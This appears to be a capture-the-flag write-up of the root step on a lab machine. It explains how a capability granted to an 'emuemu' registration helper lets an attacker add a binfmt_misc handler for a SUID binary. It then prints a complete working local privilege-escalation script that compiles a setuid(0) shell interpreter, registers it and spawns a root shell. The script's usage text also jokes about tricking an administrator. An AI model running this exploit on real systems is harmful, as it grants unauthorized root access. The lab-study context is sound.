Skip to main content

EMUEMU & OSTRICH

Remember these terms which are mentioned in the initial webpage? They are an internal testing service meant to be ran as we can see in the emuemu folder. From here, we can see the source code of the various binaries.

#include <stdio.h>

/* currently this is only a dummy implementation doing nothing */

int main(void) {
puts("EMUEMU is still under development.");
return 1;
}

Understanding

From the source code, it seems like the binfmt_misc functionality is used. From online manpages, this is a tool to define the default interpreters to run a particular binary based on the magic headers.

In this case, we can see that the OSTRICH type files will be ran by the emuemu binary by default, which we can confirm by running the binary in the test folder.

[email protected]:~/emuemu$ test/examplerom
EMUEMU is still under development.

Reviewing everything

Summarising everything that we know, it seems like once the EMUEMU binary development is completed, all OSTRICH programs will be ran by the emulator by default, which makes complete sense.

So where does the vulnerability lies? Looking at the Makefile closely, we see this: setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper. This means that the reg_helper has full write access to any system files when running it!

Now, we can follow the Makefile and specify our own magic headers to run a particular binary using our own specified intepreter! There is a nice blog post detailing about this privEsc vector.

PrivEsc

Following the blog post, we can add the magic headers of an SUID binary and make it run our own intepreter (which sets the effective ID to 0) and execute it by exploiting SUID itself. Kind of neat!

Adapting the exploit script from this GitHub repo, we simply remove the check for write permission, since we already have the capability to write to any file, and run it.

binfmt_rootkit.sh
#!/bin/bash

readonly searchsuid="/bin/"
readonly mountpoint="/proc/sys/fs/binfmt_misc"
readonly exe="$0"


warn()
{
1>&2 echo [email protected]
}

die()
{
warn [email protected]
exit -1
}

usage()
{
cat 1>&2 <<EOF
Usage: $exe
Gives you a root shell if /proc/sys/fs/binfmt_misc/register is writeable,
note that it must be enforced by any other mean before your try this, for
example by typing something like "sudo chmod +6 /*/*/f*/*/*r" while Dave is
thinking that you are fixing his problem.
EOF
exit 1
}

function pick_suid()
{
find "$1" -perm -4000 -executable \
| tail -n 1
}

function read_magic()
{
[[ -e "$1" ]] && \
[[ "$2" =~ [[:digit:]]+ ]] && \
dd if="$1" bs=1 count="$2" status=none \
| sed -e 's-\x00-\\x00-g'
}

[[ -n "$1" ]] && usage

target="$(pick_suid "$searchsuid")"
test -e "$target" || die "Error: Unable to find a suid binary in $searchsuid"

binfmt_magic="$(read_magic "$target" "126")"
test -z "$binfmt_magic" && die "Error: Unable to retrieve a magic for $target"

fmtname="$(mktemp -u XXXX)"
fmtinterpr="$(mktemp)"

gcc -o "$fmtinterpr" -xc - <<- __EOF__
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <pwd.h>

int main(int argc, char *argv[])
{
// remove our temporary file
unlink("$fmtinterpr");

// remove the unused binary format
FILE* fmt = fopen("$mountpoint/$fmtname", "w");
fprintf(fmt, "-1\\n");
fclose(fmt);

// MOTD
setuid(0);
uid_t uid = getuid();
uid_t euid = geteuid();
struct passwd *pw = getpwuid(uid);
struct passwd *epw = getpwuid(euid);
fprintf(stderr, "uid=%u(%s) euid=%u(%s)\\n",
uid,
pw->pw_name,
euid,
epw->pw_name);

// welcome home
char* sh[] = {"/bin/sh", (char*) 0};
execvp(sh[0], sh);
return 1;
}
__EOF__

chmod a+x "$fmtinterpr"

binfmt_line="_${fmtname}_M__${binfmt_magic}__${fmtinterpr}_OC"
echo "$binfmt_line" | /usr/lib/emuemu/reg_helper

exec "$target"

Root.txt

Running the exploit script will make us gain root access and we can get root.txt.

Root access